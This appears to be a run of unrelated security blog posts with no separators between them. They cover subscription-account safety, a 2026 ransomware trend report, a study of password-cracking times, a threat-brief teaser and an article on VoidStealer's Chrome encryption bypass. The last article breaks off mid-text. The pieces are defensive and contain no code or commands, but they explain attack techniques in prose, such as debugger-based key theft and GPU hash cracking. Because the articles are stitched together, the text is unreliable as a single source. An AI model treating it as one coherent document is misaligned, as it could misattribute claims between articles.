Sharing one account among multiple people significantly increases the risk of your credentials falling into the wrong hands. There’s no way to guarantee that everyone else is storing those details securely or that their devices aren’t infected with malware. Even without malware, it’s incredibly easy to accidentally hand over a password to attackers simply by signing in to the subscription service over unprotected public Wi-Fi.

It’s entirely possible that the password you kindly shared with some friends has already surfaced in some corner of the dark web, and you may soon lose access to your account. Furthermore, if you reuse the same password across different sites and apps, your other accounts are now in the crosshairs as well.

The second scenario is when each group member has an individual account. Many services now allow you to add extra users to a subscription at no additional cost, and most owners are happy to give away these free slots. Even then, you shouldn’t let your guard down: a breach of just one of these accounts can still leak sensitive information, such as family members’ names, addresses, billing info, and other subscription-related data.

How to protect your subscriptions (and your wallet)

To keep your and your loved ones’ personal data private and your accounts under your control, follow these simple rules.

Use strong account security

To do this, learn — and teach your friends and family — how to use password managers, two-factor authentication, or passkeys.

If you and your loved ones rely on memory to store passwords, there’s a high probability that you’re reusing the same one across multiple services. This is a major blunder: data breaches happen all the time, and a single compromised password gives attackers access to your other accounts.

The simplest solution is to use a password manager that generates and remembers complex, unique passwords for every site and service on your behalf. All you have to do is remember the single main password for its encrypted vault. Additionally, Kaspersky Password Manager doesn’t just store and create passwords; it can also check if they’ve appeared in leaked databases, and sync your credentials across all your devices.

Additionally, a password manager provides a robust defense against phishing: unlike a human, who can easily be misled by a sign-in form that looks almost identical to the real thing and is hosted on a look-alike domain, a password manager won’t fall for the trick. It’ll only offer to autofill your saved login and password on the specific site or service for which they were originally stored.

Avoid using browsers to store your passwords: unfortunately, attackers have long figured out how to extract browser-saved passwords in a matter of seconds.

Two-factor authentication (2FA) is an extra layer of verification the system requests after you enter your password — such as an SMS code or a one-time code from an authenticator app. Whenever technically possible, be sure to enable 2FA on every account linked to a subscription. This applies to the subscription services themselves, as well as any third-party accounts you use to sign in, such as Google, Apple, or Facebook.

We recommend storing your two-factor authentication tokens and generating the one-time codes — which refresh every 30 seconds — inside Kaspersky Password Manager. This significantly lowers the chances of someone hijacking your account. Even if an attacker somehow discovers or guesses your password, they won’t be able to get the code without physical access to your device.

Finally, you can ditch passwords (almost) entirely by switching to passkeys. We’ve previously covered what this password alternative looks like and the specifics of using it. Currently, this is the most breach-resistant authentication system out there. Its main drawback has been the difficulty of syncing passkeys across different ecosystems, like Windows and iOS, but the updated version of Kaspersky Password Manager can now save and sync passkeys across Windows, macOS, iOS, and Android devices, making that issue a thing of the past.

Don’t overlook device security

Even a complex password and 2FA aren’t reasons to let your guard down. An attacker can infect your device with an infostealer: malware designed to swipe things like session cookies from your browser, app configuration files, and other sensitive data. Session cookies allow you to stay signed in without re-entering your credentials every time; however, if scammers get their hands on them, they can sign in to the service as you — even without knowing your username or password. This makes a proactive approach essential, especially if you use Chrome, Edge, Opera, or other Chromium-based browsers on Windows. We recommend installing Kaspersky Premium on all your devices; it includes Kaspersky Password Manager in addition to comprehensive protection against cyberthreats.

Only share subscriptions with people you trust

Otherwise, you might be asking for trouble. For example, if you share a Steam subscription with a friend who cheats, both of your accounts could end up banned. Furthermore, never try to let someone else into your personal account or individual subscription. Sharing your password with others is usually a violation of the terms of service, and can result in your account being blocked.

Make sure there are no strangers in your family group

To do this, periodically check active devices and sessions in your subscription settings. If you see an unrecognized device in the authorized list, terminate that session — or all of them — and change your account password immediately. Signing back in on a few devices is much easier than trying to recover a hijacked account.

And remember: don’t let your own habits compromise your security. If you’re visiting friends, on vacation, or on a business trip and use a local computer or smart TV — or if you sign in to your account from a public computer — don’t forget to sign out when you’re done. Otherwise, the next person to use that device might find themselves with free subscriptions or, even worse, access to your email or cloud photo stream.

Don’t take the bait

Watch out for phishing emails and messages spoofing legitimate services. If you receive a notification about a “need to update your billing details”, or a claim that a “new user has been added” to your family plan, don’t rush to click any links or open attachments. Links can lead to a phishing page, and attachments may hide malware. Scammers often use email addresses and domains that look nearly identical to the real ones — for instance, by swapping l (lowercase L) for I (uppercase i), or using a familiar name in a different domain zone.

Unfortunately, phishing pages are often indistinguishable from the originals now that AI is being used for high-quality design and layout. Since spotting every red flag yourself is increasingly difficult, it’s best to delegate anti-phishing protection to Kaspersky Premium. It will alert you to suspicious sites, saving your money and keeping your peace of mind.

Lastly, some scammers lure users in with freebies like fake gift subscriptions for Telegram Premium. The victim is asked to visit a phishing page mimicking the Telegram login screen and sign in to their account to claim the gift. The result isn’t hard to guess: instead of a premium subscription — a hijacked account. Recently, scammers have even learned to use mini-apps to steal credentials directly inside Telegram under various pretexts — ranging from gift giveaways to claims that you must move to a new chat because the old one was blocked.

Avoid buying subscriptions from third-party sellers

You can often find subscription offers on marketplaces and retail platforms at prices significantly lower than what the official provider charges. More likely than not, that tempting price hides a hacked account or a family group that you could be kicked out of at any moment, because the family admin is either the seller or a random user. Furthermore, sharing a family plan with strangers from around the world is a violation of terms for many services.

How to get rid of unwanted subscriptions

Now that we’ve covered subscription security, what about those extra subscriptions that quietly eat away at your balance every month? Research shows that users typically underestimate how many active subscriptions they have and how much they spend on them; they also frequently forget to cancel auto-renewals for subscriptions they no longer use, or auto-charges after the trial period ends.

If you suspect you’re in that boat, start your investigation with your own bank statements. Recurring charges for the same amount can be a subscription you’ve forgotten about. Check who received the payment; if the name doesn’t ring a bell, do an online search on the company. It’s also worth searching your email box for the merchant name or the payment amount; this can help you track down subscription notifications and figure out what exactly you’re paying for. And don’t forget to check your spam folder, as that’s where subscription alerts often end up.

Now, let’s look at how to check and cancel active subscriptions purchased through the App Store and Google Play.

For Android users

1. Open Settings on your device.
2. Tap Google, then tap your profile picture, and go to Google Account.
3. Go to Wallet & subscriptions.

If you’re the family group manager, you’ll be able to see the purchase history for other family members.

For iOS users

1. Open Settings on your device.
2. Tap your profile picture at the top of the menu.
3. Go to Subscriptions.

Note: to manage your iCloud subscription, you’ll need to go to the specific iCloud section located just below Subscriptions. In the Family Sharing section, if you’re the one who set it up, you can view the subscription and purchase history for all family members.

Read more on subscriptions:

• You’ve been sent a “gift” — a Telegram Premium subscription
• How to share subscriptions without tears
• How to control your subscriptions and save money
• Meet the Trojan subscribers hungry to sign you up

With International Anti-Ransomware Day taking place on May 12, Kaspersky presents its annual report on the evolving global and regional ransomware cyberthreat landscape.

Ransomware remains one of the most persistent and adaptive cyberthreats. In 2026:

• New families continue to emerge, adopting post-quantum cryptography ciphers.
• As ransom payments drop, some groups implement encryptionless extortion attacks.
• In a constantly changing ecosystem of threat actors, initial access brokers maintain a relevant role in this market, showing increased focus on access to RDWeb as the preferred method of remote access.

Ransomware attacks decline but remain a major threat

According to Kaspersky Security Network, the share of organizations affected by ransomware decreased in 2025 across all regions compared to 2024.

Percentage of organizations affected by ransomware attacks by region, 2025 (download)

Despite the formal decrease, organizations across all sectors continue to face a high likelihood of attack, as ransomware operators refine their tactics and scale their operations with increasing efficiency. Kaspersky and VDC Research have found that in the manufacturing sector alone, ransomware attacks may have caused over $18 billion in losses in the first three quarters of the year.

The continued rise of EDR killers and defense evasion tooling

In 2026, ransomware operators increasingly prioritize neutralizing endpoint defenses before executing their payloads. Tools commonly referred to as “EDR killers” have become a standard component of attack playbooks. This reflects a continuing trend toward more deliberate and methodical intrusions.

Attackers attempt to terminate security processes and disable monitoring agents, often by exploiting trusted components such as signed drivers. This technique is called Bring Your Own Vulnerable Driver (BYOVD) and allows adversaries to blend into legitimate system activity while gradually degrading defensive visibility.

Thus, evasion is no longer an opportunistic step but a planned and repeatable phase of the attack lifecycle. As a result, organizations are increasingly challenged not just to detect ransomware but also to maintain control in environments where security controls themselves are actively targeted.

The appearance of new families adopting post-quantum cryptography

We predicted that quantum-resistant ransomware would appear in 2025. Looking back at the previous year, we see that advanced ransomware groups indeed started using post-quantum cryptography as quantum computing evolved. The encryption techniques used by this quantum-proof ransomware could be used to resist decryption attempts from both classical and quantum computers, making it nearly impossible for victims to decrypt their data without having to pay a ransom.

One example is the appearance of the PE32 ransomware family (link in Russian); it leverages the cutting-edge ML-KEM (Module-Lattice-Based Key-Encapsulation Mechanism) standard to secure its AES keys. This specific cryptographic framework was recently selected by NIST as the primary standard for post-quantum defense.

Within the PE32 ransomware architecture, this is realized through the Kyber1024 algorithm, a robust mechanism providing Level 5 security, roughly equivalent in strength to AES-256. Its primary function is the secure generation and transmission of shared secrets between parties, specifically engineered to withstand future quantum computing attacks. This shift toward post-quantum readiness is part of a broader industry trend; for instance, TLS 1.3 and QUIC protocols have already adopted the X25519Kyber768 hybrid model, which fuses classical encryption with quantum-resistant security.

The shift to encryptionless extortion

In 2025, the share of ransoms paid dropped to 28%. As a response to this, one of the developments in the 2026 landscape is the growing prevalence of extortion incidents in which no file encryption takes place at all. Instead, attackers leave out the “ware” in “ransomware” and focus on extracting sensitive data and leveraging the threat of public disclosure as their primary means of extortion. ShinyHunters is an excellent example of such a group, using a data leak site to publicize its victims.

By avoiding encryption, attackers may aim at reducing the likelihood of immediate detection, shortening the duration of the attack, and eliminating dependencies on stable encryption routines. Often, this model is used alongside traditional tactics in so-called double extortion schemes, but an increasing number of campaigns rely exclusively on data theft.

For victims, this shift fundamentally changes the nature of the risk. While backups remain effective against encryption-based disruption, they provide no protection against data exposure, regulatory consequences, and reputational damage. Ransomware is therefore evolving from a business continuity issue into a broader data security and compliance challenge.

Industrialization of initial access (Access-as-a-Service)

The ransomware ecosystem continues to evolve toward a highly industrialized and specialized model, with initial access remaining as one of its most critical components. In 2026, many ransomware operators keep relying on IABs (initial access brokers), a network of intermediaries who supply pre-compromised access to corporate environments, aiming to no longer perform full intrusions themselves.

This “access-as-a-service” model is fueled by credential theft operations, and the widespread availability of compromised accounts harvested through infostealers and phishing campaigns.

The primary access vectors offered for sale have not changed: RDP, VPN, and RDWeb are still the top access vectors. Consequently, remote access infrastructure remains the primary attack surface for initial access sales. In response to the measures against public exposure of RDP access points to the internet, attackers are now targeting RDWeb portals, which are frequently vulnerable and occasionally inadequately safeguarded.

The result is a threat landscape where unauthorized access is increasingly commoditized, and the barrier to launching ransomware attacks declines. This means that preventing initial compromise is only part of the challenge; equal emphasis must be placed on detecting misuse of legitimate credentials and limiting lateral movement within already-breached environments.

Ransomware developments on the dark web

Telegram channels and underground forums increasingly function as platforms for the distribution and sale of compromised datasets and access credentials including those that were obtained as a result of ransomware attacks.

Advertisements posted on these resources typically include the nature of the access, a description of the exfiltrated or compromised data, price terms, and contact information for prospective buyers. In addition, some malicious actors mention their collaboration with other ransomware groups. Lesser-known gangs can use this name-dropping to promote themselves

Multiple threat actors not related to ransomware groups distribute datasets downloaded from ransomware blogs on underground forums and Telegram. By re-publishing download links and files, they spread compromised data as well as information on the ransomware attack within the community.

The ransomware itself is also sold or offered for subscription on the dark web platforms. The sellers underscore the uniqueness of their malware, as well as its encryption and defense evasion features.

Law enforcement actions

Law enforcement agencies are actively shutting down dark web platforms and ransomware data leak sites. A major underground forum, RAMP, which also functioned as a platform for threat actors to advertise their ransomware services and publish service‑related updates, was seized by authorities in January 2026. Another underground forum, LeakBase, where malicious actors distributed exfiltrated and compromised data, was seized in March 2026. In 2025, law enforcement agencies seized well-known forums like Nulled, Cracked, and XSS. Also in 2025, the DLSs of BlackSuit and 8Base ransomware groups were seized. These takedowns cause inconvenience to ransomware coordination, specifically for initial access brokers and affiliates, though similar forums are expected to fill the void over time.

Top ransomware groups in 2025

RansomHub’s sudden dormancy in 2025 marked a shift, and Qilin became the dominant player from Q2 onward. According to Kaspersky research, Qilin was the most active group executing targeted attacks in 2025.

Each group’s share of victims according to its data leak site (DLS) as a percentage of all reported victims of all groups during the period under review (download)

Qilin stands out as one of the fastest-growig and dominant RaaS platforms. Its combination of high-volume operations and structured affiliate model positions it as a central player in the current ecosystem.

Clop, the second most active group in 2025, is distinguished through its large-scale, supply-chain-style attacks, exploiting widely used file transfer and enterprise software to compromise hundreds of victims simultaneously. This one-to-many approach sets it apart from more traditional, single-target campaigns.

Third place is occupied by Akira, which remains notable for its consistency and operational stability, maintaining a steady stream of victims without major disruption. Its ability to sustain activity over time makes it one of the most reliable indicators of baseline ransomware threat levels.

Although no longer active, RansomHub stands out for its rapid rise and equally rapid disappearance in 2025, highlighting the volatility of the RaaS market. Its shutdown created a vacuum that significantly reshaped affiliate distribution across other groups.

DragonForce is also notable – not just for its own operations, but for its broader influence within the ransomware ecosystem, including reported involvement in infrastructure conflicts and possible links to the disruption of competing groups. Thus, the group claims that RansomHub “has moved to their infrastructure.” This positions it as more than just an operator and potentially an ecosystem-level actor.

New actors in 2026

While emerging actors generally operate on a smaller scale, they provide insight into the continuous churn and low barrier to entry within the ransomware ecosystem.

The Gentlemen group caught our attention in early 2026, as they managed to attack a significant number of victims over a short time. This actor is also notable for reflecting a broader shift toward professionalization and controlled operations within the ransomware ecosystem. Unlike many emerging groups that rely on opportunistic attacks and inconsistent leak activity, The Gentlemen demonstrate a more deliberate approach: structured intrusion workflows, selective targeting, and measured communication with victims. This signals a move away from chaotic, high-noise campaigns toward predictable, business-like execution models that are easier to scale and harder to disrupt. Their TTPs include the massive exploitation of hardware very common on big corporations, such as FortiOS/FortiProxy, SonicWall VPN, and Cisco ASA appliances. The group might be comprised of professional cybercriminals who left other prominent groups.

The group is also notable for its emphasis on data-centric extortion strategies, often prioritizing exfiltration and leverage over purely disruptive encryption. This aligns with one of the defining trends of 2026: ransomware evolving into a form of data breach monetization rather than just system denial. By focusing on controlled pressure and reputational risk instead of immediate operational damage, The Gentlemen exemplify how attackers are adapting to lower ransom payment rates and improved backup practices among victims.
Some other groups to take note of in 2026:

• Devman appears to be an emerging actor with limited but growing activity, likely leveraging existing tooling rather than developing custom capabilities.
• MintEye hasn’t been very active yet, with just five known victims, suggesting opportunistic campaigns without a consistent operational tempo.
• DireWolf is associated with small-scale, targeted attacks, though its overall footprint remains relatively limited compared to larger RaaS groups.
• NightSpire demonstrates characteristics of an amateur group, such as mistakes during its operations, uncommon communication channels with the victims, and sometimes giving them insufficient time to pay up. Although they both encrypt and leak data, they prioritize publication rather than encryption.
• Vect shows low-volume activity. It is yet unclear whether they use a completely new codebase or are rather a rebrand of an existing group.
• Tengu is a less prominent actor, with limited public reporting and no clear distinguishing tactics beyond standard extortion models.
• Kazu appears to be created by ransomware operators previously engaged with multiple other groups. As of now, they don’t stand out for scale or technique.

Although there is little to say about these groups at the time of writing this report, each of them may be equally likely to disappear from the threat landscape or grow into a prominent threat. That’s why it’s important to track them from their early days. Moreover, collectively, these groups illustrate how dynamic the ransomware landscape is, with new entrants constantly replenishing it.

Conclusion and protection recommendations

Despite the growing effort by law enforcement agencies across the globe to seize and disrupt dark web platforms and threat actor infrastructures, ransomware operations remain stable, with new groups quickly taking the place of those who went silent. In 2026, we see a shift towards encryptionless extortion, with data leaks increasingly becoming the main threat to target organizations. At the same time, data encryption is also upgrading to the next level with the emergence of post-quantum ransomware.

To resist the evolving threat, Kaspersky recommends organizations:

Prioritize proactive prevention through patching and vulnerability management. Many ransomware attacks exploit unpatched systems, so organizations should implement automated patch management tools to ensure timely updates for operating systems, software, and drivers. For Windows environments, enabling Microsoft’s Vulnerable Driver Blocklist is critical to thwarting BYOVD attacks. Regularly scan for vulnerabilities and prioritize high-severity flaws, especially in widely used software.

Strengthen remote access: RDP and RDWeb connections should never be directly exposed to the internet, only through VPN or ZTNA (Zero Trust Network Access). It’s highly recommended to adopt multi-factor authentication on everything; the architecture may require continuous authentication for access, as one valid credential captured is enough to cause a breach. Monitoring the underground for stolen employee credentials is essential. Audit open ports across the entire attack surface. The adoption of the “Principle of Least Privilege” (PoLP), where users, systems, or processes are granted only the minimum access rights, such as read, write, or execute permissions, necessary to perform their specific job functions, is highly recommended.

Strengthen endpoint and network security with advanced detection and segmentation. Deploy robust endpoint detection and response solutions such as Kaspersky NEXT EDR to monitor for suspicious activity like driver loading or process termination. Network segmentation is equally important. Limit lateral movement by isolating critical systems and using firewalls to restrict traffic. Complete and immediate offboarding for employees is necessary as well as periodic permission reviews, with automatic revocation of unused access. Sessions with complete logging for privileged accounts are more than necessary. Monitoring the traffic divergence to new sites or even to legitimate endpoints can help the defenders to spot a new insider threat.

Invest in backups, training, and incident response planning. Maintain offline or immutable backups that are tested regularly to ensure rapid recovery without paying a ransom. Backups should cover critical data and systems and be stored in air-gapped environments to resist encryption or deletion. User education is essential to combatting phishing, which remains one of the top attack vectors. Conduct simulated phishing exercises and train employees to recognize AI-crafted emails. Kaspersky Global Emergency Response Team (GERT) can help develop and test an incident response plan to minimize potential downtime and costs.

The recommendation to avoid paying a ransom remains robust, especially given the risk of unavailable keys due to dismantled infrastructure, affiliate chaos, or malicious intent. By investing in backups, incident response, and preventive measures like patching and training, organizations can avoid funding criminals and mitigate the impact.

Kaspersky also offers free decryptors for certain ransomware families. If you get hit by ransomware, check to see if there’s a decryptor available for the ransomware family used against you.

Every year, hundreds of millions of real user passwords leak onto the dark web. We analyzed 231 million unique passwords from dark-web leaks between 2023 and 2026, and the conclusions are bleak: the vast majority are extremely weak. To crack 60% of these passwords, a hacker needs only an hour and a few dollars in their pocket. Furthermore, password cracking is accelerating by the year; in our similar 2024 study, the percentage of vulnerable passwords was lower.

Today we’re looking at just how reliable the average password is (spoiler: not really), and how you can secure your data and accounts using more robust methods. At the same time, we’ll highlight the patterns most commonly found in actual user passwords.

How passwords are cracked

In our previous study, we detailed the methods for storing and cracking passwords, but here’s a quick refresher on the essentials.

These days, passwords are almost never stored in plain text. For instance, if you create an account with the password “Password123!”, the server won’t store it as-is. Instead, the password is hashed using specific algorithms, turning it into a fixed-length string of letters and numbers (a hash) which is what actually stays on the server. For example, here’s what the MD5 hash for “Password123!” looks like:

2c103f2c4ed1e59c0b4e2e01821770fa.

Every time the user enters their password, it’s converted into a hash and compared against the one stored on the server; if the hashes match, the password is correct. If an attacker gets their hands on this hash, they have to decrypt it to recover the original password — this is what’s known as “password cracking”. This is typically done using owned or rented GPUs, and several methods can be employed for the crack:

• Exhaustive enumeration (brute force). The computer tries every possible combination of characters, calculating the hash for each one. This method is the easiest way to crack short passwords, or those consisting of a single character set (such as digits only).
• Rainbow tables. A total nightmare for anyone with a simple password, this is essentially a “phone book” for passwords whose hashes have already been cracked via brute force or smart algorithms. All an attacker has to do is find a matching hash and see which password corresponds to it.
• Smart cracking. These algorithms are trained on databases of leaked passwords. They understand the frequency of different character combinations, and run their checks from the most likely to the least popular sequences. They account for dictionary words, character substitutions (a → @ or s → $), and consider common password structures like “dictionary word + number + special character”, while checking hashes against rainbow tables. Combining these methods significantly accelerates the cracking process.

Beyond that, attackers can also intercept passwords in plain text. There are numerous ways to do this, ranging from phishing (where a victim is lured to a fake web page and enters their password voluntarily) and keyloggers that capture keystrokes, to stealers or Trojans that swipe documents, cookies, clipboard data, and more. Unfortunately, many users keep their passwords as plain text in notes, messaging apps, and documents, or save them in browsers where attackers can extract them in seconds.

Every year, we track around a hundred million plain-text password leaks. We use these databases to warn Kaspersky Password Manager users if their data has been compromised. To address the most frequent question we get on this: no, we don’t know our users’ passwords. We’ve explained in non-techie language exactly how we compare your passwords to leaked ones without actually knowing them — and why neither your passwords stored in Kaspersky Password Managernor even their hashes ever leave your device — in our overviews of our leak analysis technology and our password manager’s internal architecture. Give them a read; you’ll be surprised by just how elegant the design is.

60% of passwords are cracked in under an hour

We expanded the database from our previous study by an additional 38 million real passwords posted by attackers on dark-web forums and compared the results. Testing was conducted using a single RTX 5090 GPU for passwords hashed with the MD5 algorithm. The data for the analysis was obtained from our Digital Footprint Intelligence service. You can review the algorithm we used to assess password strength in our article on Securelist.

Unfortunately, passwords remain as weak as ever, while cracking them becomes faster and easier with every year. Today, 60% of passwords can be cracked in less than an hour; two years ago, that figure was 59%. But the truly frightening part is something else: nearly half of all passwords (48%) are cracked in less than a minute!

Cracking time	Percentage of passwords crackable within this time in 2024	Percentage of passwords crackable within this time today
Less than a minute	45%	48%
Less than an hour	59% (+14%)	60% (+12%)
Less than 24 hours	67% (+8%)	68% (+8%)
Less than a month	73% (+6%)	74% (+6%)
Less than a year	77% (+4%)	77% (+3%)
More than a year	23%	23%

Attackers owe this boost in speed to graphics processors, which grow more powerful every year. While an RTX 4090 in 2024 could brute-force MD5 hashes at a rate of 164 gigahashes (billion hashes) per second, the new RTX 5090 has increased that speed by 34% — reaching 220 gigahashes per second.

And although a high-end video card like that currently retails for several thousand dollars, the price tag isn’t much of a barrier: there are plenty of cheap cloud services available for renting GPU computing power. Depending on the configuration and the model, rental costs range from a few cents to a few dollars per hour. As we’ve seen, one hour is all an attacker needs to crack three out of every five passwords they’ve found in a leak. Plus, depending on the scale of the task, they can always rent ten or even a hundred GPUs instead of just one…

It’s worth noting that cracking every password in a dataset doesn’t take much longer than cracking a single one. During each iteration, once the attacker calculates a hash for a specific character combination, they check if that same hash exists anywhere in the dataset — and the larger the dataset, the easier it is to find a match. If a match is found, the corresponding password is flagged as “cracked”, and the algorithm moves along to the next one.

Which passwords are vulnerable?

The strength of any password depends on its length, content variety, and the randomness of that content. Passwords created by humans turn out to be the least resilient — unfortunately, humans are quite predictable. We use dictionary words and character combinations that smart algorithms have long since mastered, we avoid long random strings, and patterns can be found even in keystrokes we believe are random. Interestingly enough, passwords generated by AI still carry the fingerprints of a human approach; we covered this in a separate post on how to create a strong yet memorable password.

Password length is the primary factor affecting cracking time. As you can see from the table below, it takes less than 24 hours to crack almost any eight-character password.

But the predictability of your password is just as important. Think you’re boosting security by adding a number or a special character to a memorable word? You are, but only slightly. The patterns people use to create passwords are easily predictable and, at times, pretty amusing — though this is no laughing matter.

What we learned about password patterns

Analysis of over 200 million passwords revealed characteristic patterns that allow smart algorithms to crack user passwords with ease.

Pick a number

More than half of all passwords (53%) end with one or more digits, while nearly one in six (17%) starts with a number. Every eighth password (12%) contains sequences that look a lot like years — ranging from 1950 to 2030 — and one in ten (10%) specifically falls between 1990 and 2026. This most likely happens because folks add their birth year (or that of someone close), some other significant year, or the year they created the password or account. Fun fact: based on the distribution of these dates, it suggests that the most active internet users were born between 2000 and 2012.

However, among all numeric combinations, the most popular turned out to be… you guessed it: “1234”. Overall, patterns involving sequential keyboard presses (“qwerty, ,”ytrewq”, and the like) appear in 3% of passwords.

Special characters aren’t a silver bullet

Most password policies in recent years require at least one special character. The absolute winner in this category is the @ symbol: it appears in one out of every 10 passwords. The period (.) comes in second, followed by the exclamation point (!) in third.

Love rules the world… and Skibidi Toilet does too

Emotionally charged words often form the foundation of a password, and despite everything, positive words are more common. Frequently occurring examples include “love”, “angel”, “team”, “mate”, “life”, and “star”. That said, negativity pops up too — mostly in the form of common English swear words.

Interestingly, viral memes are reflected in passwords as well. Between 2023 and 2026, the use of the word Skibidi in passwords skyrocketed 36-fold! Naturally (see the link if it doesn’t seem natural), “toilet” saw a boost too, though to a lesser extent.

Users tend to keep their passwords unchanged for years

More than half of the passwords (54%) we identified in recent leaks have surfaced before. Part of this can be explained by the same data migrating from one dataset to another. However, there’s a much more troubling reason too: many users simply haven’t changed their passwords in years.

Analyzing the dates found within passwords shows that combinations containing the years from 2020 through 2024 remain popular. It seems people add the current year to their password when they create it — and then forget about it for several years. This actually allows us to calculate the average lifespan of a password: about three to five years.

This is a dangerous trend. For one, smart algorithms can crack much more complex passwords over that kind of timeframe. Secondly, the longer your password remains unchanged, the higher the probability it will leak — whether through a breach, malware infection, or a phishing attack.

The situation gets even worse when the same password is used across multiple accounts. In this case, attackers don’t even need to crack anything; they just need to find your password in a single leak and plug it into other sites.

How to protect your passwords and accounts

If you’ve realized while reading this post that your own passwords are among those easily crackable — don’t panic. We’ve put together a list of simple but essential tips for you.

Use a password manager

The weakest passwords are the ones people come up with themselves. Creating and memorizing hundreds of sequences of 16–20 random characters (since every site requires a unique, long password) is a daunting, unrealistic task.

That’s why you should delegate password generation and storage to our password manager. It doesn’t just create and store complex, randomized passwords in an encrypted format; it also syncs them across all your devices. To decrypt your vault, you only need to remember one main password that no one knows but you — our guide on mnemonic passwords can help you with that.

Don’t store passwords as plain text

Whatever you do, never write down passwords in files, messages, or documents. They lack the robust encryption provided by a password manager. Furthermore, these kinds of notes fall into the hands of attackers instantly if you happen to pick up a Trojan or an infostealer.

Don’t store passwords in your browser

Many users save their passwords in their browsers — especially since they conveniently offer to do it automatically. Unfortunately, research shows that malware has evolved to extract these passwords from all popular browsers almost instantly. Kaspersky Password Manager can help you import saved passwords from your favorite browser — just follow our simple, three-step guide. Most importantly, don’t forget to clear the browser’s password storage once the import is complete.

Switch to passkeys

Wherever possible, use passkeys — a cryptographic replacement for passwords. In this setup, the service stores a public key, while the private key remains on your device and is never transmitted. During login, the device simply signs a one-time request. Additionally, passkeys are tied to a specific domain, meaning phishing attacks using spoofed addresses won’t work. Kaspersky Password Manager allows you to store both passwords and passkeys, solving the problem of syncing them across different ecosystems, including Windows, Android, macOS, and iOS.

Set up two-factor authentication

Enable two-factor authentication wherever possible. Even if your password is compromised, a properly configured 2FA setup makes it extremely difficult for the attacker to access your account. For maximum security, skip the one-time codes sent via SMS and use authenticator apps instead — and yes, Kaspersky Password Manager comes in handy here, too.

Practice good digital hygiene

Remember, storing your passwords correctly is only half the battle. It’s crucial to follow the rules of digital hygiene: avoid downloading unverified files, pirated software, cheats, or cracks, and don’t click on random links. The number of infostealer attacks has been steadily rising in recent years, which means you need a robust security solution for full protection. We recommend Kaspersky Premium — it protects all your devices from Trojans, phishing, and other threats. Besides, the subscription includes our password manager.

For those serious about account security, check out our collection of posts on passwords, passkeys, and two-factor authentication:

• Passkeys in 2025: your complete guide to passwordless sign-in
• Passkeys in 2025: tips for power users
• Creating an unforgettable password
• How to create strong passwords and where to store them
• Switching to Kaspersky: a step-by-step migration guide

Unit 42 details CVE-2026-0300, a buffer overflow vulnerability in the PAN-OS User-ID Authentication Portal. Read now for details.

The post Threat Brief: Exploitation of PAN-OS Captive Portal Zero-Day for Unauthenticated Remote Code Execution appeared first on Unit 42.

Malicious actors have developed a new way to steal data stored by Chrome for Windows. Researchers discovered the technique while analyzing a fresh build of an infostealer known as VoidStealer. The new method allows the malware to bypass Chrome’s Application-Bound (App-Bound) Encryption (ABE), a mechanism intended to protect session cookies and other valuable information stored in the browser.

Google hoped this mechanism would secure the master key Chrome uses to encrypt all sensitive data. Unfortunately, this isn’t the first time malware authors have found a workaround for this defense — leaving secrets stored in Chrome vulnerable once again.

How App-Bound Encryption works in Chrome

Google introduced App-Bound Encryption in July 2024 with the release of Chrome version 127. The company’s announcement mentioned infostealers snatching cookies from Chrome users on Windows as the primary problem ABE was intended to solve. We’ve already covered in detail what these files are and the consequences of their theft, so we’ll only briefly recap the main facts here.

Cookies are small files that the browser saves to the user’s device at a website’s request to remember various site settings. Of particular value to attackers are session cookies, which are used for automatic authentication on websites. It’s thanks to these files that we don’t have to enter a username and password every time we revisit a site.

But this convenience carries a risk: stealing these files allows an attacker to use an already-authenticated session without entering a username or password. This allows them to impersonate the user, which can lead to account hijacking, theft of personal or financial data, and other adverse consequences.

Infostealer Trojans are particularly dangerous for Chrome users on Windows. This is because, on this OS, Chrome previously relied solely on the standard built-in Data Protection API (DPAPI). With this system encryption mechanism, applications don’t need to create and store encryption keys to protect data.

The limitation of DPAPI is that it doesn’t protect data from malware that’s already successfully compromised the system and is capable of executing code on behalf of the logged-in user. This is exactly what stealers exploit: since they typically run with the user’s privileges, they can simply request DPAPI to decrypt the browser’s protected data.

The ABE mechanism was designed to solve that specific problem. The core idea is right in the name: App-Bound Encryption means the encryption is tied to a specific application. To achieve this, a separate service running with system privileges is responsible for protecting the key used to encrypt Chrome’s data. It verifies which application is requesting access to the key, and denies the request if it doesn’t originate from Chrome.

As a result, the architects of this feature assumed that to access ABE-protected browser data, an infostealer would either need to escalate its privileges to system-level, or inject malicious code directly into Chrome. In theory, this should have made attacking Chrome significantly harder and reduced the effectiveness of mass-market infostealers. As you might have guessed, things didn’t go quite that smoothly in practice.

Previous successful bypasses of Chrome’s ABE

Just a couple of months after Google announced the implementation of App-Bound Encryption in Chrome, many infostealer developers claimed they’d already bypassed the protection. Among them were the creators of Meduza Stealer, Whitesnake, Lumma Stealer, and Lumar (also known as PovertyStealer).

Of course, you shouldn’t take malware developers at their word, but legitimate security researchers were able to confirm at least some of the claims. Bypasses for Google Chrome’s new data protection feature did become available almost immediately after its release.

A month later, in October 2024, tech enthusiast Alex Hagenah published a tool on GitHub called Chrome-App-Bound-Encryption-Decryption to bypass Google’s new security mechanism. Analysis of the tool’s code revealed that its author used roughly the same methods that attackers were already heavily exploiting.

What followed was a game of cat and mouse: security researchers and stealer developers came up with new tricks to circumvent App-Bound Encryption, while Google patched the newly discovered loopholes with varying degrees of success.

VoidStealer — a new data-nabbing menace

This brings us to recent events: in March 2026, news broke about a stealer named VoidStealer, which utilizes a brand-new and, by all accounts, highly effective method for bypassing ABE.

The malware authors developed an attack technique that targets the brief moment when the master key sits in the browser’s memory in plaintext. This occurs because, at a certain point, the browser inevitably has to decrypt its data to actually use it — for instance, to automatically sign in to a website with the relevant session cookie or to access saved credentials.

To exploit this window of opportunity, the malware attaches itself to the Chrome process as a debugger — a tool that allows one to control a program’s execution, pause it, and inspect its memory. In legitimate scenarios, these tools are used by developers to find and fix bugs, analyze application behavior, and test performance.

The malware identifies the specific section of code where data decryption takes place. It then sets a breakpoint at that location; when the program’s execution reaches that point, the browser effectively freezes. This is how the malware catches the exact moment the master key is sitting in RAM in plaintext; it then reads the key directly from memory.

It’s worth noting that everything mentioned above also applies to other Chromium-based browsers that use ABE, including Microsoft Edge, Brave, Opera, Vivaldi, and others.

How to avoid falling victim to infostealers

The scale of VoidStealer’s reach could be significant, as its developers operate under the malware-as-a-service (MaaS) model. This means they rent out the ready-made tool to other attackers, so they don’t need to develop custom malware from scratch.

